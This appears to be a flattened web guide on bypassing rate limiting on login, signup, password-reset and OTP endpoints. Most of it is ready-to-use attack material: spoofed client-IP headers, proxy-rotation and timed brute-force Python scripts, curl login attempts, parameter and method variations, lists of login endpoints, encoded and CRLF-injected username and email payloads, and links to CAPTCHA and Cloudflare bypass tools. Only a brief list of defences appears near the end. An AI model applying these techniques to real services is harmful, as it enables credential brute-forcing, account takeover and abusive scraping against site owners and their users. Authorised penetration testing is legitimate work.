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Bypass rate limiting mechanisms using IP spoofing, header manipulation, proxy rotation, parameter variation, encoding tricks, and timing-based evasion.
Rate limit bypass techniques using headers, IP rotation, race conditions, and caching.
Last updated: 2026-05-15
Rate limiting controls how many requests a user can make within a period. Bypassing it enables brute-force attacks, DoS, and data scraping. This guide covers 15+ bypass techniques with tools and payloads.proxychains curl -X POST https://target.com/login -d "user=admin&pass=1234"https://github.com/AeolusTF/BurpFakeIPhttps://github.com/PortSwigger/ip-rotateUse Burp Intruder with a wordlist of User-Agent strings → Set User-Agent as payload position → Rotate on each requestX-Forwarded-For: 127.0.0.1X-Real-IP: 127.0.0.1X-Client-IP: 127.0.0.1CF-Connecting-IP: 127.0.0.1Fastly-Client-IP: 127.0.0.1X-Remote-IP: 127.0.0.1 | X-Remote-Addr: 127.0.0.1 | True-Client-IP: 127.0.0.1 | X-Cluster-Client-IP: 127.0.0.1https://github.com/AeolusTF/BurpFakeIPimport requests
proxies = [
{"http": "http://proxy1.com:8080"},
{"http": "http://proxy2.com:8080"},
{"http": "http://proxy3.com:8080"}
]
for proxy in proxies:
response = requests.get("https://example.com/api", proxies=proxy)
print(response.status_code)curl -X POST https://target.com/login -d "user=admin&pass=1234"curl -X GET "https://target.com/login?user=admin&pass=1234"Try: PUT, DELETE, PATCH, OPTIONS, HEADusername=admin&password=1234 | user=admin&pass=1234 | uname=admin&pwd=1234 | login=admin&passwd=1234 | u=admin&p=1234 | email=admin&key=1234 | id=admin&token=1234POST /login HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
user=admin&user=admin2&pass=1234/login /user/login /account/login /api/login /api/v1/login /api/v2/login /mobile/login /auth/login /authenticate /session/create /customers/signin /users/auth /rest/v1/loginuser=admin%20 | user=admin%00 | user=%61%64%6d%69%6e | user=ad%6Din | user=%2561%2564%256d%2569%256eContent-Type: application/json {"user":"admin"} vs Content-Type: application/x-www-form-urlencoded user=adminimport requests, time
for i in range(10):
r = requests.post("https://target.com/login", data={"user":"admin","pass":"1234"})
print(r.status_code)
time.sleep(0.9)email=test@example.com%00 | email=test@example.com%0D%0AHeader:injected | email=test@example.com%20 | email=test@example.com%0AEmail: Test@Example.com | test@example.com | TEST@example.comt3st@3xample.com | te.st@example.comemail=" test@example.com " | email=test@example.com%20 | email=test@example.com%E2%80%8B | email=test@example.com%09 | email=test@example.com%0Ahttps://github.com/sarperavci/GoogleRecaptchaBypasshttps://github.com/sarperavci/CloudflareBypassForScrapingAccount registration/signup | Login/account lock | Forgot/reset password | 2FA/MFA/OTP | Messaging/comments/invites | Disabling 2FA/SMS | Resend OTP codeCAPTCHA — verify user is humanAnomaly detection — monitor traffic spikesAdvanced rate limiting — cookies, session tokens, JavaScript challengesRate limit bypass is about observation, creativity, and persistence. Understand the logic, test methodically, and adapt. When you hit a rate limit, see it as an invitation to hack smarter.